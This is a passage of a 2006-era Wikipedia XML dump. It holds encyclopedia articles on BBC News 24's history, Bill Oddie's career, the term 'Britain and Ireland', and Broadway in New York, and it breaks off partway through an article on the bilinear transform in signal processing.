The initial format of the channel was criticised as being less authoritative than other [[BBC News]] output, this being blamed on the radical colour and design of the set and the shirtsleeved male presenters. As a result the channel was relaunched on [[October 25]], [[1999]] with a new set, music and titles which were based on the recently relaunched network news. This similarity was intended to increase the credibility of the channel and aid cross channel promotion.

In December 2002 the Lambert Report, an independent review commissioned by the government, criticised the BBC Governors for failing to ensure that News 24 had a distinct identity from the commercial rolling-news services provided by the [[ITV News Channel]] and [[Sky News]]. As a result the [[Secretary of State for Culture, Media and Sport|Culture Secretary]] [[Tessa Jowell]] announced new conditions on the &quot;approvals&quot; under which the BBC operates News 24. 

[[Image:BBCnews24breakingnews.jpg|thumb|right|An example of the new breaking news graphic]]
In December 2003, the channel was relaunched, with cosmetic changes to the look and feel of the channel being the main obvious change.  A new set was launched, replacing the beige and red design introduced in 1999.  New graphics were also introduced, which are more attention grabbing,  the channel signature theme tune was refreshed and a new 'live-rendered' title sequence designed.  In addition, criticism was made that &quot;no one notices breaking news&quot; on the channel, so together with the new attention seeking graphics, a breaking news &quot;sting&quot; was developed, which is designed to grab people's attention whenever breaking news is flashed upon the screen. The relaunch also takes into account the criticisms in the Lambert Report, introducing more analysis and features into the schedules of the channel which makes it more distinctive from its commercial rivals.

Following the relaunch of news bulletins on '''BBC One''', the graphics were altered slightly, with the globe changed to red from orange for land and black for sea and the 24 in white. The red ribbons were also changed to a slightly darker shade.

===Countdown===
Since the October 1999 relaunch an important element of News 24 presentation has been the countdown to the top of every hour. The countdown is to show viewers the pace of the channel. The full version was 90 seconds, though approximately 30 seconds were normally shown. The original countdown featured ivory numbers and globe against a deep red background, reflecting the wider rebranding of the channel. The music was composed by [[David Lowe]], responsible for the network news music. 

In [[January 2003]] this countdown was revised to show life around the UK; [[stockbroker]]s, [[playground]]s, [[commuting | commuters]], [[hospital]]s and [[school]] lessons were all shown. With the December 2003 relaunch of the channel the music of the countdown was adapted for the first time and the footage was revised to include markets, fairgrounds and the newsroom and news centre at [[Television Centre]].

On [[March 28]], [[2005]] the countdown was radically altered. The full version is 60 seconds long, but they still normally show about 30 seconds on air. The music was again revised but the biggest change came in the footage used &amp;mdash; it now reflects the methods and nature of newsgathering and strong emphasis is placed on the BBC logo itself. Satellites are shown transmitting and receiving a red &quot;data stream&quot;. Footage shows reporters and cameramen operating in the [[United Kingdom]], [[United States]], [[China]], [[Africa]], [[Iraq]] and the areas affected by the Asian Tsunami. Some people have also noted that the red &quot;data streams&quot; represented on the BBC News 24 countdown appear to defy the laws of physics [http://bnb.bpweb.net/N24/news24.htm].

As of 5 September 2005, an almost identical countdown replaced the 'ribbon-around-the-world' countdown [[BBC World]] had thus far offered its viewers, with slight changes in music and footage.

==Changes Announced==
It was announced on [[8 November]] [[2005]] that a controller of News 24 would be appointed whilst in the area of news on terrestrial television, a single editor would work on the [[BBC One O'Clock News|One O'Clock]] and [[BBC Six O'Clock News|Six O'Clock News]] daily main news programmes rather than three individuals. [http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/4417472.stm]

==Awards==
On [[22 February]] [[2006]], BBC News 24 won the News Channel of the Year at the [[Royal Television Society|RTS]] Television Journalism Awards for the first time in its history.  The judges remarked that this was the year that BBC News 24 really came of age. 

{{BBC}}

==External links==
*[http://news.bbc.co.uk/1/hi/programmes/bbc_news_24/default.stm BBC News 24] website
*[http://www.culture.gov.uk/global/publications/archive_2002/review_bbcnews24.htm The Lambert Report] on the DCMS website
*[http://www.tvhome.co.uk/bbcnews24/sounds.phtml MP3 tracks of News 24 music: 1997, 1999 and 2003]
*[http://www.tvnewsroom.co.uk TV Newsroom]

[[Category:24-hour television news channels]]
[[Category:BBC television channels in the United Kingdom]]

[[pl:BBC News 24]]
[[sv:BBC News 24]]</text>
    </revision>
  </page>
  <page>
    <title>Bill Oddie</title>
    <id>4622</id>
    <revision>
      <id>42100937</id>
      <timestamp>2006-03-03T21:04:05Z</timestamp>
      <contributor>
        <ip>88.109.194.228</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Billoddie.jpg|thumb|200px|Bill Oddie]]
'''William Edgar (Bill) Oddie''', [[Order of the British Empire|OBE]], [[Bachelor's degree|BA]], [[Master's degree#MAs in Oxford, Cambridge and Dublin|MA (Cantab.)]], born [[July 7]] [[1941]] in [[Rochdale]] (at the time, part of [[Lancashire]]), is a [[British comedy|comedy writer and performer]], [[author]], composer and musician. A [[birdwatching|birdwatcher]] since his childhood in [[Birmingham]], Oddie has now established a reputation for himself as an [[Ornithology|ornithologist]], [[conservationist]] and [[television presenter]] on [[wildlife]] issues. Some of his books are illustrated with his own paintings and drawings. His programmes include Springwatch, How to watch Wildlifee, and Briatin Goes Wild

==Early life==

On a [[2004]] episode of the BBC [[television series]] ''[[Who Do You Think You Are?]]'', Oddie was invited to investigate his family history. The programme revealed that Oddie was raised primarily by his father after his mother was placed into long term [[psychiatric hospital|psychiatric care]] suffering with [[bipolar disorder]]; and that his mother had had one [[miscarriage]] and then lost another child, a girl, after five days. It was suggested that Oddie's grandmother had prevented his mother from attending to the girl, who was crying. His mother subsequently found the child dead. Oddie speculated that his mother would have felt that his grandmother (whom she lived with) was to blame for the death of her daughter and that this psychological trauma may well have contributed to her mental ill health.  For Oddie, who had previously believed that his mother had abandoned him in childhood, &quot;it undemonised her&quot;.
(Interviewed in [[The Idler (1993)|The Idler]] magazine, Oddie revealed that he suffers from bouts of [[depression]].)

==Comedy and music==

After attending [[King Edward's School, Birmingham]], Oddie studied [[English Literature]] at [[Pembroke College, Cambridge|Pembroke College]] at the [[University of Cambridge]], where he appeared in several [[Footlights|Cambridge University Footlights Club]] productions, one of which, ''A Clump of Plinths'', was so successful during its run at the [[Edinburgh Fringe Festival]] that the revue was renamed as ''[[Cambridge Circus (comedy)|Cambridge Circus]]'', and transferred the revue to the [[West End theatre|West End]] in [[London]], and then later took the revue to [[New Zealand]] and [[Broadway theatre|Broadway]]. While still at Cambridge Oddie wrote scripts for TV's ''[[That Was The Week That Was]]''.

His first television appearance was in [[Bernard Braden]]'s [[Braden Beat]] in [[1964]]. Subsequently, he was a key member of the performers in the cult [[BBC]] radio series ''[[I'm Sorry, I'll Read That Again]]'' (ISIRTA; 1965), where many of his compositions were featured. Some were released on the album ''Distinctly Oddie'' (Polydor, 1967). He was possibly one of the first performers to [[parody]] a rock song, arranging the traditional [[Yorkshire]] folk song &quot;[[On Ilkla Moor Baht'at]]&quot; in the style of [[Joe Cocker]]'s hit rendition of [[the Beatles]]' &quot;[[With a Little Help from My Friends]]&quot; (released on [[John Peel]]'s [[Dandelion Records]] in [[1970]] and featured in Peel's special box of most-treasured singles), and singing &quot;[[Andy Pandy]]&quot; in the style of a brassy soul number such as [[Wilson Pickett]] or [[Geno Washington]] might perform. In many shows he would do short impressions of [[Hughie Green]].  

In one song on ''[[I'm Sorry, I'll Read That Again]]'', Oddie performed &quot;[[What a Wonderful World]]&quot; with a voice fully reminiscent of [[Louis Armstrong]].  During the course of the song, the rest of the cast attributed the gravelly quality of his voice to a bad cold.  In the background, during the rest of the song, it is possible to hear the cast call for a doctor, the arrival of the doctor and his decision that Oddie should go into hospital, the trip to hospital in an ambulance, and the operation extracting his tonsils.  After this, the sound of his voice changed to a sound closer to that of Harry Secombe.  He thanked the cast for curing him.

On [[television]] Oddie was co-writer and performer in the comedy series ''[[Twice a Fortnight]]'' with [[Graeme Garden]], [[Terry Jones]], [[Michael Palin]] and [[Jonathan Lynn]].  Later, he was co-writer and performer in the comedy series ''[[Broaden Your Mind]]'' with [[Tim Brooke-Taylor]] and [[Graeme Garden]], for which Oddie became a cast member for the second series).  Bill, Tim and Graeme then co-wrote and appeared in their television comedy series ''[[The Goodies]]''

Oddie was a member of [[1970s]] BBC TV trio ''[[The Goodies]]'', in which he starred with ISIRTA colleagues [[Graeme Garden]] and [[Tim Brooke-Taylor]] (also veterans of Cambridge Footlights). He portrayed the rebel, to Brooke-Taylor's conservative and Garden's boffin, with long hair and a poster of [[Che Guevara]] in his corner. The Goodies also released records, including &quot;Father Christmas Do Not Touch Me&quot;/&quot;The In-Betweenies&quot;, &quot;Do The Funky Gibbon&quot;, and &quot;Black Pudding Bertha&quot;, which were hit singles in 1974-5. They reformed, briefly, in [[2005]], for a successful 13-date tour of [[Australia]].  Tim, Bill and Graeme also voiced characters on the [[1983]] animated children's programme ''[[Bananaman]]'' [[1983]], in which Oddie voiced the characters of &quot;''Crow''&quot;, &quot;''Chief O'Reilly''&quot;, &quot;''Doctor Gloom''&quot;, &quot;''Eric''&quot; and &quot;''the Weatherman''&quot;.

Oddie co-wrote many of the episodes of the television comedy series ''[[Doctor in the House (TV series)|Doctor in the House]]'' with [[Graeme Garden]] (who is a qualified doctor).  Bill and Graeme wrote most of the episodes for the first season of the &quot;''Doctor in the House''&quot;. Also, Bill and Graeme wrote all of the episodes for the second season of .the &quot;''Doctor in the House''&quot; television series.

Bill Oddie has occasionally appeared on the BBC Radio 4 panel game ''[[I'm Sorry I Haven't a Clue]]'', on which Garden and Brooke-Taylor are regular panelists.

In 1982 Garden and Oddie wrote, but did not perform in, a 6-part [[science fiction]] [[Situation comedy|sitcom]] called ''[[Astronauts (television)|Astronauts]]'' for [[Central Independent Television|Central]] and [[ITV]]. The show was set in an international [[space station]] in the near future.

Bill Oddie was the compere of a daytime BBC [[gameshow]], &quot;[[History Hunt]]&quot; ([[2003]]); and has featured in a ''[[Doctor Who]]'' audio drama, and he also appeared as the hapless window cleaner in one of the two films made of [[Eric Sykes]]' comedy story [[The Plank]], and also appeared in a 2-part episode of the comedy television series ''[[Married with Children]]''.

In the fictional world of comedy character [[Alan Partridge]], Oddie is an unseen presence in Alan's life, bothering him with prank phone calls, and buying him gifts like dressing gowns.

He plays the [[drum]]s and [[saxophone]] and appeared as Cousin Kevin in a production of [[The Who]]'s rock opera [[Tommy]] at the [[Rainbow Theatre]], [[Finsbury Park]], [[London]] on [[9 December]] [[1972]]. He has also contributed vocals to a [[Rick Wakeman]] album, &quot;Criminal Record&quot;.

Bill Oddie took part in the [[English National Opera]] production of the [[Gilbert and Sullivan]] [[comic opera]] ''[[The Mikado]]'', in which he appeared in the role of the &quot;Lord High Executioner&quot;, taking over the role from [[Eric Idle]].

==Conservation and birdwatching==

Oddie's first published work was an article about Birmingham's [[Bartley Reservoir]] in the [[West Midland Bird Club]]'s [[1962]] Annual Report. He has since written a number of books about birds and bird watching, as well as articles for many specialist publications including [[British Birds (Magazine)|''British Birds'']], ''Birdwatching Magazine'' and [[Birdwatch]]. He became president of the West Midland Bird Club in [[1999]], having been Vice-President since [[1991]] and is a former member of the council of the [[RSPB]].

He has hosted a number of very successful nature programmes for the BBC, many produced by [[Stephen Moss]], including:

*''The Great Kenyan Bird Safari''
*''Favourite Walks''
*''Wild Weekends''
*''The Bird Business''
*''Flight to Eilat''
*''The Big Bird Race''
*''Oddie in Paradise'' ([[1993]])
*''Bird in the Nest'' (two series)
*''[[Birding with Bill Oddie]]'' (three series, [[1997]], [[1998]] and [[2000]])
*''[[Bill Oddie Goes Wild]]'' (three series, [[2001]], [[2002]] and [[2003]])
*''[[Wild In Your Garden]]'' (2003)
*''[[Britain Goes Wild with Bill Oddie|Britain Goes Wild]]'' (2004)
*''[[Bill Oddie's How to Watch Wildlife]]'' ([[2005]])
*The London episode of [[Seven Natural Wonders]] (2005)
*''[[Springwatch with Bill Oddie]]'' ([[2005]])
*''The Truth about Killer Dinosaurs'' (2005; also on [[DVD]])
On its first evening of broadcast, ''Britain Goes Wild'' set a record for its timeslot of 8pm on [[BBC Two]] of 3.4 million viewers, one million more than the [[Channel 4]] programme showing at that time. It also created a run on [[nest box]]es for [[List of British birds: passerines|wild birds]] and [[bee|bumble bees]], [[bird bath]]s and bird feed from suppliers, likened to the ''Delia power'' phenomenon created when [[Delia Smith]] mentioned the tools and ingredients she was using on her cooking programme ''Delia's How to Cook''. Oddie presented an update later in 2004.

Most of the recent series have been produced by [[Stephen Moss]].

==Marriage and children==

Oddie is married to [[Laura Beaumont]], with whom he has worked on a variety of projects for children, including film scripts, drama and comedy series, puppet shows and books. They have a daughter, Rosie, and live in [[London]]. He has two daughters from his first marriage (to Jean Hart), Bonnie and the actress [[Kate Hardie]], and a grandson, Lyle.

==Recognition==

In [[2001]], Oddie became the third person to turn down the &quot;red book&quot; and decline to appear on [[This Is Your Life]]. He relented some time later.

On [[16 October]] [[2003]], Oddie was made an [[Order of the British Empire|OBE]] for his service to Wildlife Conservation in a ceremony at [[Buckingham Palace]]. He played down the event, choosing to wear a camouflage shirt and crumpled jacket to receive his medal.

In June 2004, Oddie and [[Johnny Morris]] were jointly profiled in the first of a three part BBC Two series, ''[[The Way We Went Wild]]'', about television wildlife presenters.

In May [[2005]], he received the [[British Naturalists' Association]]'s [[Peter Scott]] Memorial Award, from BNA president [[David Bellamy]], &quot;in recognition of his great contribution to our understanding of natural history and conservation&quot;.

==Further reading==

Further information about Bill Oddie can be found in the following books:

*''From Fringe to Flying Circus'' - 'Celebrating a Unique Generation of Comedy 1960-1980' - Roger Wilmut, Eyre Methuen Ltd, 1980.

*''Footlights!'' - 'A Hundred Years of Cambridge Comedy' - Robert Hewison, Methuen London Ltd, 1983.

==Bibliography==

(incomplete list)
*''Bill Oddie's Colouring Guide to Birds'' (Piccolo, [[1991]])
*''Bill Oddie's Little Black Bird Book''
*''Bill Oddie's Little Black Bird Book'' (paperback with additional material)
*''Bill Oddie's Gone Birding''
*''The Big Bird Race'' (with [[David Tomlinson (journalist)|David Tomlinson]]; Collins, 1983)
*''Follow That Bird!''
*''Gripping Yarns''
*''Bird in the Nest''
*''Bill Oddie's How to Watch Wildlife''

'''Bill Oddie also co-wrote the following books with the other members of ''[[The Goodies]]'' '''
*''The Goodies File''
*''The Goodies Book of Criminal Records''
*''The Goodies Disaster Movie''

===Contributions===

*''Blokes and Birds'', Stephen Moss; [[New Holland Publishers ]]. ISBN 1843304848 (foreword)
*''The New Birds of the West Midlands'', Graham and Janet Harrison ([http://www.westmidlandbirdclub.com/biblio/NBotWM.htm]; [[West Midland Bird Club]], 2005). (foreword)


== External links ==

*[http://www.bbc.co.uk/history/familyhistory/wdytya_celeb_gallery_01.shtml Bill Oddie's family history at the BBC website for the programme ''Who Do You Think You Are?'']
*[http://www.bbc.co.uk/nature/programmes/who/bill_oddie.shtml Biography on BBC's nature website]
*[http://www.bbc.co.uk/nature/programmes/tv/bill_oddie Bill Oddie Goes Wild] - on BBC's Science and Nature website
*[http://www.bbc.co.uk/bbc7/listenagain/monday/ BBC7's Listen Again series featuring &quot;I'm Sorry I'll Read That Again&quot;]
*[http://www.westmidlandbirdclub.com/archive/bartley-62.htm Bartley Reservoir article from West Midlands Bird Club's archive]
*[http://www.bbc.co.uk/pressoffice/pressreleases/stories/2004/06_june/23/wild.shtml BBC Press release reviewing ''Britain Goes Wild'']
*[http://prnewswire.co.uk/cgi/news/release?id=144823 Bill Oddie to receive Peter Scott Memorial Award]
*{{imdb name|id=0643919|name=Bill Oddie}}
*[http://www.ibdb.com/person.asp?ID=12211 Bill Oddie] - at the [[Internet Broadway Database]]

*[http://tv.groups.yahoo.com/group/billoddie/ mailing list for Oddie fans]
*[http://www.telegraph.co.uk/arts/main.jhtml?xml=/arts/2005/04/28/ftoddie28.xml In-depth interview, The Telegraph, [[28 April]] [[2005]]]
*[http://news.bbc.co.uk/1/hi/magazine/4099820.stm BBC 'Face of the week' article]
*[http://www.bbc.co.uk/comedy/guide/talent/o/oddie_bill.shtml Oddie in the BBC Guide to Comedy]
*[http://www.nyt.co.uk/bill-oddie.htm Oddie as a celebrity speaker]
*[http://www.gigrin.co.uk/bill-oddie.html Gigrin Farm chapter from Gripping Yarns]
*[http://www.loadofold.com/boots/oddie.html Oddie's actor profile]
*[http://www.uktv.co.uk/?uktv=standarditem.index&amp;aID=528034 Oddie on UKTV]
*[http://www.tmcentertainment.co.uk/speaker-index.html?speakerid=225 Bill Oddie] at the TMC Entertainment
*[http://greentourism.org.uk/Default.aspx.LocID-008new00a.ReftLocID-008015003.Lang-EN.htm New Wildlife Website Takes off with Bill Oddie]
*[http://firstpersonquiz.com/oddie_bill.html First Person Quiz]
*[http://www.clanfork.co.uk/Trev/B/BillOddie.htm Bill Oddie's Great Bird Race Game]
*[http://www.rathergood.com/bill/ humorous flash presentation]
*[http://orangecow.org/pythonet/otherprepythonshows.html The Origin of Monty Python] - mentions Bill and ISIRTA

&lt;br&gt;
{{TheGoodies}}

&lt;br&gt;
&lt;center&gt;
{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
|- bgcolor=&quot;lightblue&quot;
! &lt;font size=&quot;2&quot;&gt;[[I'm Sorry, I'll Read That Again]]&lt;/font size&gt;
|- 
| [[Tim Brooke-Taylor]] --- [[John Cleese]] --- [[Graeme Garden]] --- [[David Hatch]] --- [[Jo Kendall]] --- '''Bill Oddie'''
|
|- bgcolor=&quot;lightblue&quot;
! &lt;font size=&quot;2&quot;&gt;[[Twice a Fortnight]]&lt;/font size&gt;
|- 
| [[Graeme Garden]] --- [[Terry Jones]] --- [[Jonathan Lynn]] --- '''Bill Oddie''' -- [[Michael Palin]]
|}

&lt;/center&gt;
&lt;br clear=all&gt;

[[Image:TheGoodies.jpg|center|thumb|'''The Goodies''' &amp;mdash; Bill Oddie, &lt;br&gt;Tim Brooke-Taylor,  Graeme Garden]]

&lt;br clear=all&gt;
[[Category:1941 births|Oddie, Bill]]
[[Category:Alumni of Pembroke College, Cambridge|Oddie, Bill]]
[[Category:Natives of Lancashire|Oddie, Bill]]
[[Category:British comedians|Oddie, Bill]]
[[Category:British comedy writers|Oddie, Bill]]
[[Category:British illustrators|Oddie, Bill]]
[[Category:British nature writers|Oddie, Bill]]
[[Category:British ornithologists|Oddie, Bill]]
[[Category:British television actors|Oddie, Bill]]
[[Category:British television presenters|Oddie, Bill]]
[[Category:British television writers|Oddie, Bill]]
[[Category:British voice actors|Oddie, Bill]]
[[Category:Cambridge Footlights|Oddie, Bill]]
[[Category:Radio actors|Oddie, Bill]]
[[Category:Goodies actors|Oddie, Bill]]
[[Category:Doctor Who actors|Oddie, Bill]]
[[Category:Living people|Oddie, Bill]]
[[Category:Officers of the British Empire|Oddie, Bill]]</text>
    </revision>
  </page>
  <page>
    <title>Britain and Ireland</title>
    <id>4623</id>
    <revision>
      <id>20489970</id>
      <timestamp>2005-08-07T18:56:21Z</timestamp>
      <contributor>
        <username>Demiurge</username>
        <id>72235</id>
      </contributor>
      <comment>rv; I thought we'd sorted this out on [[Talk:Northern Ireland Act 1998]]?</comment>
      <text xml:space="preserve">The islands of [[Great Britain]] and [[Ireland]] are part of an [[archipelago]] with a combined area of [[1 E11 m²|315,000]] [[square kilometre|km²]] off the west coast of [[Europe]], and the term &quot;'''Britain and Ireland'''&quot; is sometimes used, somewhat loosely and incorrectly, to refer to that entire archipelago.
This archipelago is often called the &quot;[[British Isles]]&quot;; some people believe one should avoid using this term because it could be construed as having the incorrect or politically loaded implication that the Republic of Ireland is or should be part of the [[United Kingdom]].

More commonly, the term &quot;Britain and Ireland&quot; is used to refer to the two states within the archipelago, namely the [[United Kingdom|United Kingdom of Great Britain and Northern Ireland]] (comprising [[England]], [[Scotland]], [[Wales]] and [[Northern Ireland]]) and the [[Republic of Ireland]].
Depending on the context, it may or may not include the smaller islands that are part of these two states and lie around the coasts of the two major islands; used correctly, it does not include the [[Isle of Man]] or the [[Channel Islands]] even though the Isle of Man forms part of the British Isles and the Channel Islands are often taken as also doing so.

In the context of the [[Northern Ireland peace process]] the term &quot;[[Islands of the North Atlantic]]&quot; (IONA) has been used as a neutral term to describe these islands, though that term has also been labelled ambiguous.

[[Category:British Isles]]</text>
    </revision>
  </page>
  <page>
    <title>Broadway (New York City)</title>
    <id>4626</id>
    <revision>
      <id>41147837</id>
      <timestamp>2006-02-25T09:45:14Z</timestamp>
      <contributor>
        <username>Demicx</username>
        <id>769154</id>
      </contributor>
      <text xml:space="preserve">:''For Broadway in the theatrical sense, see [[Broadway theatre]].  For other streets and topics with the name Broadway, see [[Broadway]].''
{{main|Transportation in New York City}}

[[Image:Bway.jpg|200px|right|thumb|A view of Broadway in 1909]]
'''Broadway''', as the name implies, is a wide avenue in [[New York City]], and is the oldest north-south main thoroughfare in the city, dating to the first [[New Amsterdam]] settlement.  The [[street name|name]] ''Broadway'' is an English [[translation]] of the [[Dutch language|Dutch]] name, ''Breede weg''.  The street is famous as the pinnacle of the [[Broadway theater|American theater industry]].

Broadway originated as an Indian trail called the [[Wickquasgeck Trail]], which was carved into the [[Manhattan]] brush land. This trail originally snaked through the swamps and rocks from southern to northern Manhattan. Upon the arrival of the [[Netherlands|Dutch]], the trail soon became the main road through the island from [[New Amsterdam]] at the southern tip. The Dutch explorer and entrepreneur [[David de Vries]] gives the first mention of it in his journal for the year [[1642]] — &quot;the Wickquasgeck Road over which the Indians passed daily&quot;.

Broadway runs the length of Manhattan,  being the only street running from almost the southern tip of the island, where it starts at [[Bowling Green (New York City)|Bowling Green]], to the northern tip. South of [[Columbus Circle]], it is a one-way street, with all vehicle traffic traveling southbound. It crosses the [[Harlem River]] as the [[Broadway Bridge (Manhattan)|Broadway Bridge]] and continues through the [[Bronx]] and into [[Westchester County]]. (There are other streets called &quot;Broadway&quot; in the city, one each in the  New York City Boroughs of [[Queens]], [[Brooklyn]], and [[Staten Island]]. Short isolated stretches of streets use its name, such as East Broadway, West Broadway, and Old Broadway.)

Broadway continues running through several [[Hudson River]] towns of [[Westchester County]] as [[U.S. Highway 9]], before becoming the &quot;New York-[[Albany Post Road]]&quot;, and running through the state capital, [[Albany, New York|Albany]], terminating in [[Champlain, N.Y.]] at the Canadian border.  Diagonally crossing the [[Commissioners' Plan of 1811]] of Manhattan streets, its intersections with avenues have been marked by &quot;squares&quot; (some merely triangular slivers of open space) and induced some interesting architecture, such as the famous [[Flatiron Building]].

[[Image:DSCN3602 upbroadway e.JPG|200px|left|thumb|A view up Broadway from Bowling Green, with the [[Chrysler Building]] visible in the background]]

The section of lower Broadway from its origin at Bowling Green to [[City Hall Park (Manhattan)|City Hall Park]] is the historical location for the city's [[ticker-tape parade]]s, and is sometimes called the &quot;[[Canyon of Heroes]]&quot; during such events. West of Broadway as far as Canal Street was the city's fashionable residential area until ''ca'' 1825; landfill has more than tripled the area and the Hudson shore now lies far to the west, beyond [[TriBeCa]] and [[Battery Park City]].

Broadway marks the east boundary of [[Greenwich Village]], passing [[Astor Place]]  It is a short walk from there to [[New York University]] near [[Washington Square Park]], which is at the foot of [[Fifth Avenue]]. [[Greenwich Village]] is an interesting place well suited for tourism. If one walks east from [[Astor Place]] past Third Avenue/Bowery, one walks to the [[East Village]]. 

Broadway starts going diagonally at 10th street in the Village, which it does until about 78th street. Six blocks north of Astor Place, at [[Union Square (New York City)|Union Square]] - 14th Street, Broadway continues its diagonal course across the island of [[Manhattan]]. At Union Square, Fourth Avenue ends and Park Avenue begins. 14th Street is recognized as a boundary between [[Downtown Manhattan]] and 'Midtown' Manhattan.

At [[Madison Square]], Broadway crosses Fifth Avenue at 23rd Street.

At [[Herald Square]] Broadway crosses Sixth Avenue ([[Avenue of the Americas]]). The original [[Macy's]] Department Store is located on the western corner of Herald Square; it is one of the largest [[department store]]s in the world, if not the single largest.

One famous stretch near [[Times Square]], where Broadway crosses Seventh Avenue in midtown Manhattan, is the home of many [[Broadway theatre]]s, housing an ever-changing array of commercial, large-scale plays, particularly [[musical theater|musicals]]; this area of Manhattan is often called the [[Theater District]]. This part of Broadway, also known as the [[Great White Way]], draws millions of tourists from around the world. Starring in a successful Broadway musical is considered by most [[singer]]s, [[dancer]]s, and [[actor]]s as the ultimate success in their chosen profession, and many songs, stories, and musicals have themselves been based around the idea of such success. The annual [[Tony Award]]s recognize some of the most successful new shows and revivals each year.  Since the late [[1980s]] Times Square has emerged as a family tourist center for the New York area.  Times Square is the location of ''[[The New York Times]]'' newspaper, published at offices on West 43rd Street off Broadway. 

At the southwest corner of [[Central Park]], Broadway crosses Eighth Avenue at [[West 59th Street]] to form [[Columbus Circle]], onetime home of a convention center and now home of a new shopping center at the foot of the new [[Time Warner Center]], home of [[Time Warner]].

At the intersection of Columbus Avenue and West 65th Street, Broadway passes by the [[Julliard School]] and [[Lincoln Center]], both well known performing arts landmarks, as well as one of just over one hundred temples of the [[Church of Jesus Christ of Latter-Day Saints]].

Further north, Broadway follows the old Bloomingdale Road as the main spine of the [[Upper West Side]], passing the campus of [[Columbia University]] on [[Morningside Heights]] as it continues northwards.  The university has a large open campus between Broadway and Amsterdam Avenue with entrances on 116th Street.  [[The Columbia Presbyterian Medical Center]] lies on Broadway near 166th, 167th, and 168th Streets in northern Manhattan ([[Washington Heights]] neighborhood).

Broadway, in the [[Times Square]] area, is second only to [[Tokyo]] for its lighted advertising, but first as the most recognized street filmed in the world.

==Public transit==
From south to north, the [[IRT Lexington Avenue Line]] which carries the 4, 5, and 6 trains, [[BMT Broadway Line]] which carries the N, Q, R, and W trains, [[IRT Broadway-Seventh Avenue Line]] which carries the 1, 2, and 3 trains and [[IND Eighth Avenue Line]] which carries the A, B, C, and D trains. 

The IRT East Side runs under Broadway from Bowling Green to City Hall. The BMT Broadway Line runs under it from City Hall to [[Times Square]]. The IRT West Side Line runs under and over Broadway from Times Square to 242nd St, the last stop on the number 1. This is interrupted between 168th st and 207th st, where Broadway turns and follows the A train northwards.

On the surface, [[MTA New York City Transit]]'s '''M1''', '''M4''', '''M5''', '''M6''', '''M7''', '''M10''', '''M20''', '''M100''', '''M104''', '''Bx7''' and '''Bx20''' bus services all use Broadway. The [[Broadway and Seventh Avenue Railroad]] and [[Broadway Surface Railroad]] [[streetcar]] lines used to use Broadway.
{{sectstub}}

==See also==
* [[Grand Central Hotel]]
* [[Singer Building]]
* [[Trinity Church, New York]]
* [[Winter Garden Theatre]]
* [[Woolworth Building]]

==External links==
*[http://www.nnp.org/newvtour/regions/Manhattan/broadway.html History of Broadway] (and Manhattan)

{{New York City}}
[[Category:Streets in Manhattan]]
[[Category:Broadway]]

[[bs:Broadway]]
[[da:Broadway]]
[[de:Broadway (Manhattan)]]
[[es:Broadway]]
[[fr:Broadway]]
[[he:ברודוויי]]
[[ko:브로드웨이]]
[[it:Broadway]]
[[ka:ბროდვეი (ნიუ-იორკი)]]
[[nl:Broadway]]
[[no:Broadway]]
[[pl:Broadway]]
[[pt:Broadway]]
[[ja:ブロードウェイ]]
[[simple:Broadway]]
[[sk:Broadway]]
[[sv:Broadway]]
[[zh:百老匯]]</text>
    </revision>
  </page>
  <page>
    <title>Bay of Skiall</title>
    <id>4627</id>
    <revision>
      <id>15902887</id>
      <timestamp>2002-08-26T13:46:49Z</timestamp>
      <contributor>
        <username>Deb</username>
        <id>1219</id>
      </contributor>
      <comment>redirect to correct spelling</comment>
      <text xml:space="preserve">#REDIRECT [[Bay of Skaill]]</text>
    </revision>
  </page>
  <page>
    <title>Bilinear transform</title>
    <id>4628</id>
    <revision>
      <id>30654334</id>
      <timestamp>2005-12-09T00:22:55Z</timestamp>
      <contributor>
        <username>Rbj</username>
        <id>102727</id>
      </contributor>
      <comment>tried to fix bad wording.  also removed a pile of &lt;LF&gt; that annoyed.</comment>
      <text xml:space="preserve">In [[digital signal processing]], the '''bilinear transform''' is a [[conformal map]]ping, often used to convert a [[transfer function]] &lt;math&gt; H_a(s) \ &lt;/math&gt; of a [[linear]], [[time-invariant]] ([[LTI system theory|LTI]]) filter in the [[continuous function|continuous]]-time domain (often called an [[analog filter]]) to a transfer function &lt;math&gt; H_d(z) \ &lt;/math&gt; of a linear, shift-invariant filter in the [[discrete signal|discrete]]-time domain (often called a [[digital filter]] although there are analog filters constructed with [[charge-coupled device]]s that are discrete-time filters).   It maps positions on the &lt;math&gt; j \omega \ &lt;/math&gt; axis, &lt;math&gt; Re[s]=0 \ &lt;/math&gt;, in the [[s-plane]] to the [[unit circle]], &lt;math&gt; |z| = 1 \ &lt;/math&gt;, in the [[complex plane|z-plane]].  Other bilinear transforms can be used to warp the [[frequency response]] of any discrete-time linear system (e.g., to approximate the human auditory's non-linear frequency resolution) and are implementable in the discrete domain by replacing a system's unit delays &lt;math&gt; \left( z^{-1} \right) \ &lt;/math&gt; with first order [[all-pass filter]]s.

The transform preserves [[stability]] and maps every point of the [[frequency response]] of the continuous-time filter, &lt;math&gt; H_a(j \omega_a) \ &lt;/math&gt; to a corresponding point in the frequency response of the discrete-time filter, &lt;math&gt; H_d(e^{j \omega_d T}) \ &lt;/math&gt; although to a somewhat different frequency, as shown in the Frequency Warping section below.  This means that for every feature that one sees in the frequency response of the analog filter, there is a corresponding feature, with identical gain and phase shift, in the frequency response of the digital filter but, perhaps, at a somewhat different frequency.  This is barely noticeable at low frequencies but is quite evident at frequencies close to the [[Nyquist frequency]].

The bilinear transform is a first-order approximation of the natural logarithm function that is an exact mapping of the z-plane to the s-plane.  When the [[Laplace transform]] is performed on a discrete-time signal (with each element of the discrete-time sequence attached to an correspondingly delayed [[Dirac delta function|unit impulse]]), the result is precisely the [[Z transform]] of the discrete-time sequence with the substitution of 

:{|
|-
|&lt;math&gt;z \ &lt;/math&gt;
|&lt;math&gt; = e^{sT} \ &lt;/math&gt;
|-
|
|&lt;math&gt; = \frac{e^{sT/2}}{e^{-sT/2}} \ &lt;/math&gt;
|-
|
|&lt;math&gt; \approx \frac{1 + s T / 2}{1 - s T / 2} \ &lt;/math&gt;
|}

where &lt;math&gt; T \ &lt;/math&gt; is the [[sample time]] (the reciprocal of the [[sampling frequency]]) of the discrete-time filter.  The above bilinear approximation can be solved for &lt;math&gt; s \ &lt;/math&gt; or a similar approximation for &lt;math&gt; s = (1/T) \log(z) \  \ &lt;/math&gt; can be performed.

